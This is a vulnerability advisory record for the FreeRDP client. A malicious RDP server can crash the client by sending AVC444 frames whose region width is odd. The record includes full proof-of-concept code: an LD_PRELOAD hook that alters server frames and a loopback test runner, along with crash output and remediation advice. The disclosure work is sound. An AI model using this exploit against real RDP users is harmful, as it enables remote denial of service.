{"schema":"threatline.record/2","record":{"id":"GHSA-97pf-pwp3-2wrv","aliases":["GHSA-97pf-pwp3-2wrv"],"summary":"Odd-width AVC444 region metadata remotely aborts FreeRDP clients","details":"A malicious or compromised RDP server can terminate a FreeRDP client after Graphics Pipeline AVC444 negotiation by sending an in-bounds AVC444 or AVC444v2 region rectangle with an odd width. The wire parser checks that the rectangle is nonempty and correctly ordered, and the codec checks that it remains within the destination surface, but neither layer validates the width parity required by the YUV444 conversion primitive.\r\n\r\nThe vulnerable sequence is:\r\n\r\n```c\r\nconst INT32 width = rect->right - rect->left;\r\n/* ... */\r\nroi.width = WINPR_ASSERTING_INT_CAST(uint32_t, width);\r\n/* ... */\r\nWINPR_ASSERT((nWidth % 2) == 0);\r\nfor (; x < nWidth; x += 2)\r\n\tBGRX_fillRGB(x, pDst, YData, UData, VData, TRUE);\r\n```\r\n\r\nAn odd value reaches the assertion and aborts an assertion-enabled client. The complete wire/product proof uses an actual TLS RDP session, `xfreerdp`, the FreeRDP shadow server, negotiated Dynamic Virtual Channel and RDPGFX support, and stock shadow-server H.264 content. A small server-side wrapper changes only the first AVC444 region coordinate before the normal `SurfaceFrameCommand` serializes the frame.\r\n\r\nThe matched even-width control remained connected through the observation interval. The odd-width positive case was accepted by the server callback, parsed as a real AVC444v2 `WireToSurface1` PDU by the client, and then terminated the client with `SIGABRT` before cleanup.\r\n\r\nThe demonstrated impact is availability loss only. An assert-disabled focused replay confirms a one-pixel logical surface overrun, but the stock GDI allocation tested had eight bytes of tail slack and the write did not cross the actual allocation boundary. Code execution, confidentiality loss, integrity loss, and a full-wire release-build write beyond the allocation were not demonstrated and are not claimed.\r\n\r\nThis report consolidates observations of one root cause. Searches of FreeRDP's public advisories, issues, pull requests, and commit history found no exact public duplicate or fix. Public issue #7837 is a distinct libavcodec decoder crash. GHSA-vx73-w5q6-7jqr is a distinct integer-overflow flaw in AVC444 buffer allocation.\r\n\r\n## Impact\r\n\r\nMallory controls a malicious or compromised RDP server. Alice initiates a connection and negotiates RDPGFX AVC444. Mallory sends an otherwise valid AVC444 or AVC444v2 frame with an odd-width region in its metadata. The FreeRDP client aborts while converting the decoded YUV444 region.\r\n\r\nThe attack is network reachable, needs no FreeRDP-local privileges, and is deterministic after the client connects. User interaction is required because Alice must initiate the RDP connection. Restarting the client restores the process, but a server that repeats the frame can prevent use of that connection. No effect on other clients or server availability was demonstrated.\r\n\r\n## Validation\r\n\r\nThe product E2E used revision `fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3` with a Debug ASan/UBSan build, OpenH264, FFmpeg, `xfreerdp`, and the FreeRDP shadow server. The control and positive cases each established a real TLS RDP session and negotiated an AVC444v2 surface update:\r\n\r\n- **Even control:** region `0,0-1280,1024`, width 1280; callback returned success; client remained alive until cleanup.\r\n- **Odd positive:** region `1,0-1280,1024`, width 1279; callback returned success; client parsed the 7836-byte AVC444v2 payload and exited 134 from `SIGABRT` before cleanup.\r\n\r\nThe decisive source files are unchanged between the tested revision and inspected master revision `193fe551c9925c761722f589437decf9bc81d7aa`. The stable 3.31.1 revision `63b948ca5cb94307fd5444ee6e73927a41ccdab4` contains the same parser, width propagation, and two-pixel primitive behavior.\r\n\r\nSelected output, with a local source path omitted, was:\r\n\r\n```text\r\nmarker_seen=1\r\nclient_died_before_cleanup=0\r\nclient_rc=145\r\nmarker_seen=1\r\nclient_died_before_cleanup=1\r\nclient_rc=134\r\nAVC444_E2E_STREAM0 rects=1 first=0,0-1280,1024 width=1280\r\nAVC444_E2E_STREAM0 rects=1 first=1,0-1280,1024 width=1279\r\nRecvWireToSurface1Pdu: codecId: RDPGFX_CODECID_AVC444v2 (0x000F), bitmapDataLength: 7836\r\nwinpr_int_assert: (((nWidth % 2) == 0)) [local source path omitted]\r\nCaught signal 'Aborted' [6]\r\nRESULT vulnerable: even AVC444v2 control remained connected; odd-width frame aborted the client\r\n```\r\n\r\n## Reproduction\r\n\r\nUse a matching shared FreeRDP build with OpenH264, FFmpeg, the X11 client, the shadow server, and AddressSanitizer/UndefinedBehaviorSanitizer enabled. The package validates the full source revision before running and uses loopback-only test servers. It intentionally aborts the disposable positive-case client.\r\n\r\n```sh\r\ngit clone https://github.com/FreeRDP/FreeRDP.git freerdp-src\r\ngit -C freerdp-src checkout fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3\r\ncmake -S freerdp-src -B freerdp-build \\\r\n  -DCMAKE_BUILD_TYPE=Debug \\\r\n  -DBUILD_SHARED_LIBS=ON \\\r\n  -DWITH_OPENH264=ON \\\r\n  -DWITH_FFMPEG=ON \\\r\n  -DCMAKE_C_FLAGS='-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer -fno-common'\r\ncmake --build freerdp-build --target xfreerdp freerdp-shadow-cli --parallel 4\r\n\r\nXvfb :99 -screen 0 1280x1024x24 &\r\nxvfb_pid=$!\r\nDISPLAY=:99 \\\r\nFREERDP_SOURCE=\"$PWD/freerdp-src\" \\\r\nFREERDP_BUILD=\"$PWD/freerdp-build\" \\\r\nEXPECTED_REVISION=fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3 \\\r\n./poc/run.sh\r\nkill \"$xvfb_pid\"\r\nrm -rf poc/.work\r\n```\r\n\r\n## Suggested remediation\r\n\r\nValidate the AVC444 region width before dispatching to a two-pixel YUV444 conversion primitive. Reject odd-width metadata with a normal channel or codec error, or implement a safe single-pixel remainder path in every generic and optimized primitive. Assertions should remain developer diagnostics, not the only validation of peer-controlled protocol data.\r\n\r\nAdd real `WireToSurface` regression coverage for AVC444 and AVC444v2, both LC forms, odd and even widths, and right-edge regions in assertion-enabled and `NDEBUG` builds under AddressSanitizer.\r\n\r\n## Complete PoC files\r\n\r\n<!-- BEGIN FILE: poc/avc444_wire_hook.c -->\r\n\r\n```c\r\n#define _GNU_SOURCE\r\n#include <dlfcn.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <freerdp/server/rdpgfx.h>\r\n\r\ntypedef RdpgfxServerContext* (*new_fn)(HANDLE);\r\ntypedef UINT (*surface_frame_fn)(RdpgfxServerContext*, const RDPGFX_SURFACE_COMMAND*,\r\n                                const RDPGFX_START_FRAME_PDU*, const RDPGFX_END_FRAME_PDU*);\r\n\r\nstatic surface_frame_fn original_surface_frame;\r\nstatic unsigned eligible_calls;\r\n\r\nstatic RECTANGLE_16* copy_rects(const RDPGFX_H264_METABLOCK* meta)\r\n{\r\n\tRECTANGLE_16* rects = NULL;\r\n\r\n\tif (!meta || (meta->numRegionRects == 0) || !meta->regionRects)\r\n\t\treturn NULL;\r\n\trects = calloc(meta->numRegionRects, sizeof(*rects));\r\n\tif (rects)\r\n\t\tmemcpy(rects, meta->regionRects, meta->numRegionRects * sizeof(*rects));\r\n\treturn rects;\r\n}\r\n\r\nstatic void make_first_width_odd(RDPGFX_H264_METABLOCK* meta)\r\n{\r\n\tif (!meta || (meta->numRegionRects == 0) || !meta->regionRects)\r\n\t\treturn;\r\n\tRECTANGLE_16* rect = &meta->regionRects[0];\r\n\tif ((rect->right > rect->left) && (((rect->right - rect->left) % 2U) == 0U))\r\n\t\trect->left++;\r\n}\r\n\r\nstatic void log_meta(const char* label, const RDPGFX_H264_METABLOCK* meta)\r\n{\r\n\tif (!meta || (meta->numRegionRects == 0) || !meta->regionRects)\r\n\t{\r\n\t\tfprintf(stderr, \"AVC444_E2E_%s rects=0\\n\", label);\r\n\t\treturn;\r\n\t}\r\n\tconst RECTANGLE_16* rect = &meta->regionRects[0];\r\n\tfprintf(stderr, \"AVC444_E2E_%s rects=%u first=%u,%u-%u,%u width=%u\\n\", label,\r\n\t        meta->numRegionRects, rect->left, rect->top, rect->right, rect->bottom,\r\n\t        rect->right - rect->left);\r\n}\r\n\r\nstatic UINT controlled_surface_frame(RdpgfxServerContext* context,\r\n                                     const RDPGFX_SURFACE_COMMAND* input,\r\n                                     const RDPGFX_START_FRAME_PDU* start,\r\n                                     const RDPGFX_END_FRAME_PDU* end)\r\n{\r\n\tconst char* mode = getenv(\"AVC444_E2E_MODE\");\r\n\tif (!input || !original_surface_frame ||\r\n\t    ((input->codecId != RDPGFX_CODECID_AVC444) &&\r\n\t     (input->codecId != RDPGFX_CODECID_AVC444v2)) ||\r\n\t    !input->extra)\r\n\t\treturn original_surface_frame(context, input, start, end);\r\n\r\n\tRDPGFX_SURFACE_COMMAND command = *input;\r\n\tRDPGFX_AVC444_BITMAP_STREAM stream =\r\n\t    *(const RDPGFX_AVC444_BITMAP_STREAM*)input->extra;\r\n\tRECTANGLE_16* rects0 = copy_rects(&stream.bitstream[0].meta);\r\n\tRECTANGLE_16* rects1 = copy_rects(&stream.bitstream[1].meta);\r\n\tif ((stream.bitstream[0].meta.numRegionRects && !rects0) ||\r\n\t    (stream.bitstream[1].meta.numRegionRects && !rects1))\r\n\t{\r\n\t\tfree(rects0);\r\n\t\tfree(rects1);\r\n\t\treturn original_surface_frame(context, input, start, end);\r\n\t}\r\n\r\n\tstream.bitstream[0].meta.regionRects = rects0;\r\n\tstream.bitstream[1].meta.regionRects = rects1;\r\n\tif (mode && (strcmp(mode, \"odd\") == 0))\r\n\t{\r\n\t\tmake_first_width_odd(&stream.bitstream[0].meta);\r\n\t\tmake_first_width_odd(&stream.bitstream[1].meta);\r\n\t}\r\n\r\n\teligible_calls++;\r\n\tfprintf(stderr,\r\n\t        \"AVC444_E2E_SEND call=%u mode=%s codec=0x%04x LC=%u outer=%u,%u-%u,%u\\n\",\r\n\t        eligible_calls, mode ? mode : \"control\", command.codecId, stream.LC,\r\n\t        command.left, command.top, command.right, command.bottom);\r\n\tlog_meta(\"STREAM0\", &stream.bitstream[0].meta);\r\n\tlog_meta(\"STREAM1\", &stream.bitstream[1].meta);\r\n\tcommand.extra = &stream;\r\n\tconst UINT rc = original_surface_frame(context, &command, start, end);\r\n\tfprintf(stderr, \"AVC444_E2E_RESULT call=%u rc=%u\\n\", eligible_calls, rc);\r\n\tfree(rects0);\r\n\tfree(rects1);\r\n\treturn rc;\r\n}\r\n\r\nRdpgfxServerContext* rdpgfx_server_context_new(HANDLE vcm)\r\n{\r\n\tstatic new_fn original_new;\r\n\tif (!original_new)\r\n\t\toriginal_new = (new_fn)dlsym(RTLD_NEXT, \"rdpgfx_server_context_new\");\r\n\tif (!original_new)\r\n\t\treturn NULL;\r\n\r\n\tRdpgfxServerContext* context = original_new(vcm);\r\n\tif (context)\r\n\t{\r\n\t\toriginal_surface_frame = context->SurfaceFrameCommand;\r\n\t\tcontext->SurfaceFrameCommand = controlled_surface_frame;\r\n\t\tfprintf(stderr, \"AVC444_E2E_HOOK installed\\n\");\r\n\t}\r\n\treturn context;\r\n}\r\n```\r\n\r\n<!-- END FILE: poc/avc444_wire_hook.c -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\nset -euo pipefail\r\nulimit -c 0\r\n\r\nROOT=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nSOURCE_DIR=${FREERDP_SOURCE:?set FREERDP_SOURCE to the matching FreeRDP checkout}\r\nBUILD_DIR=${FREERDP_BUILD:?set FREERDP_BUILD to its ASan/UBSan Debug build}\r\nEXPECTED_REVISION=${EXPECTED_REVISION:?set EXPECTED_REVISION to the full checkout revision}\r\nWORK_DIR=${WORK_DIR:-\"$ROOT/.work\"}\r\nDISPLAY=${DISPLAY:?set DISPLAY to a disposable X server}\r\nPORT_BASE=${PORT_BASE:-45420}\r\nCLIENT=${FREERDP_CLIENT:-\"$BUILD_DIR/client/X11/xfreerdp\"}\r\nSHADOW=${FREERDP_SHADOW:-\"$BUILD_DIR/server/shadow/cli/freerdp-shadow-cli\"}\r\n\r\nactual=$(git -C \"$SOURCE_DIR\" rev-parse HEAD)\r\nif [[ \"$actual\" != \"$EXPECTED_REVISION\" ]]; then\r\n\techo \"revision mismatch: expected $EXPECTED_REVISION, got $actual\" >&2\r\n\texit 2\r\nfi\r\nfor executable in \"$CLIENT\" \"$SHADOW\"; do\r\n\t[[ -x \"$executable\" ]] || { echo \"missing executable: $executable\" >&2; exit 2; }\r\ndone\r\n\r\nmapfile -t libdirs < <(find \"$BUILD_DIR\" -type f -name '*.so.*' -printf '%h\\n' | sort -u)\r\nif [[ -n ${FREERDP_DEPS:-} ]]; then\r\n\tmapfile -t depdirs < <(find \"$FREERDP_DEPS\" -type f -name '*.so.*' -printf '%h\\n' | sort -u)\r\n\tlibdirs+=(\"${depdirs[@]}\")\r\nfi\r\nexport LD_LIBRARY_PATH\r\nLD_LIBRARY_PATH=$(IFS=:; echo \"${libdirs[*]}\")\r\nASAN_RUNTIME=${ASAN_RUNTIME:-$(cc -print-file-name=libasan.so)}\r\n\r\nrm -rf \"$WORK_DIR\"\r\nmkdir -p \"$WORK_DIR\"\r\ncc -shared -fPIC -O2 -Wall -Wextra \\\r\n\t-I\"$BUILD_DIR/include\" -I\"$BUILD_DIR/winpr/include\" \\\r\n\t-I\"$SOURCE_DIR/include\" -I\"$SOURCE_DIR/winpr/include\" \\\r\n\t\"$ROOT/avc444_wire_hook.c\" -ldl -o \"$WORK_DIR/avc444_wire_hook.so\"\r\n\r\ncleanup()\r\n{\r\n\tfor pid in ${client_pid:-} ${server_pid:-}; do\r\n\t\tif [[ -n \"$pid\" ]] && kill -0 \"$pid\" 2>/dev/null; then\r\n\t\t\tkill \"$pid\" 2>/dev/null || true\r\n\t\t\twait \"$pid\" 2>/dev/null || true\r\n\t\tfi\r\n\tdone\r\n}\r\ntrap cleanup EXIT HUP INT TERM\r\n\r\nrun_case()\r\n{\r\n\tlocal name=$1 mode=$2 port=$3\r\n\tlocal out=\"$WORK_DIR/$name\" marker_seen=0 died=0 rc=0\r\n\tmkdir -p \"$out\"\r\n\r\n\tAVC444_E2E_MODE=\"$mode\" LD_PRELOAD=\"$ASAN_RUNTIME:$WORK_DIR/avc444_wire_hook.so\" \\\r\n\t\tASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \\\r\n\t\t\"$SHADOW\" /port:\"$port\" /sec:tls -auth -may-view -may-interact \\\r\n\t\t/gfx /gfx-avc444 /log-level:TRACE >\"$out/server.stdout\" 2>\"$out/server.stderr\" &\r\n\tserver_pid=$!\r\n\tsleep 1\r\n\r\n\tLD_PRELOAD=\"$ASAN_RUNTIME\" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \\\r\n\t\t\"$CLIENT\" /v:127.0.0.1:\"$port\" /u:alice /p:demonstration-only \\\r\n\t\t/cert:ignore /sec:tls /gfx:AVC444 /size:800x600 /log-level:TRACE \\\r\n\t\t>\"$out/client.stdout\" 2>\"$out/client.stderr\" &\r\n\tclient_pid=$!\r\n\r\n\tfor _ in $(seq 1 200); do\r\n\t\tif grep -q 'AVC444_E2E_RESULT' \"$out/server.stderr\" 2>/dev/null; then\r\n\t\t\tmarker_seen=1\r\n\t\t\tsleep 3\r\n\t\t\tbreak\r\n\t\tfi\r\n\t\tif ! kill -0 \"$client_pid\" 2>/dev/null; then\r\n\t\t\tdied=1\r\n\t\t\tbreak\r\n\t\tfi\r\n\t\tsleep 0.1\r\n\tdone\r\n\r\n\tif ! kill -0 \"$client_pid\" 2>/dev/null; then\r\n\t\tdied=1\r\n\telse\r\n\t\tkill \"$client_pid\" 2>/dev/null || true\r\n\tfi\r\n\tset +e\r\n\twait \"$client_pid\"\r\n\trc=$?\r\n\tset -e\r\n\tclient_pid=\r\n\tkill \"$server_pid\" 2>/dev/null || true\r\n\twait \"$server_pid\" 2>/dev/null || true\r\n\tserver_pid=\r\n\r\n\tprintf 'marker_seen=%s\\nclient_died_before_cleanup=%s\\nclient_rc=%s\\n' \\\r\n\t\t\"$marker_seen\" \"$died\" \"$rc\" >\"$out/result.txt\"\r\n}\r\n\r\nrun_case even-control control \"$PORT_BASE\"\r\nrun_case odd-positive odd \"$((PORT_BASE + 1))\"\r\n\r\ncat \"$WORK_DIR/even-control/result.txt\"\r\ncat \"$WORK_DIR/odd-positive/result.txt\"\r\ngrep -hE 'AVC444_E2E_(SEND|STREAM|RESULT)' \"$WORK_DIR\"/*/server.stderr\r\ngrep -hE 'RecvWireToSurface1Pdu|nWidth % 2|Caught signal' \\\r\n\t\"$WORK_DIR\"/*/client.stdout \"$WORK_DIR\"/*/client.stderr || true\r\n\r\ngrep -q 'client_died_before_cleanup=0' \"$WORK_DIR/even-control/result.txt\"\r\ngrep -q 'client_died_before_cleanup=1' \"$WORK_DIR/odd-positive/result.txt\"\r\ngrep -q 'client_rc=134' \"$WORK_DIR/odd-positive/result.txt\"\r\ngrep -q 'width=1280' \"$WORK_DIR/even-control/server.stderr\"\r\ngrep -q 'width=1279' \"$WORK_DIR/odd-positive/server.stderr\"\r\ngrep -q 'RDPGFX_CODECID_AVC444v2' \"$WORK_DIR/odd-positive/client.stdout\"\r\ngrep -q 'nWidth % 2' \"$WORK_DIR/odd-positive/client.stderr\"\r\necho 'RESULT vulnerable: even AVC444v2 control remained connected; odd-width frame aborted the client'\r\necho \"Logs retained in $WORK_DIR; remove that directory after review.\"\r\n```\r\n\r\n<!-- END FILE: poc/run.sh -->\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-97pf-pwp3-2wrv","source_modified_at":"2026-09-29T06:39:03Z","fetched_at":"2026-10-24T20:40:58.529015Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 2.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-97pf-pwp3-2wrv","source_modified_at":"2026-09-29T06:39:03Z","fetched_at":"2026-10-24T20:40:58.529015Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T06:39:03Z","modified_at":"2026-09-29T06:39:03Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-97pf-pwp3-2wrv","fetched_at":"2026-10-24T20:40:58.529015Z","source_modified_at":"2026-09-29T06:39:03Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T06:39:03Z","content_hash":"d28e9686236fab77b7677c39d412ad062367d1ca94f5f9507c7aa91d4be9ddb1"}}
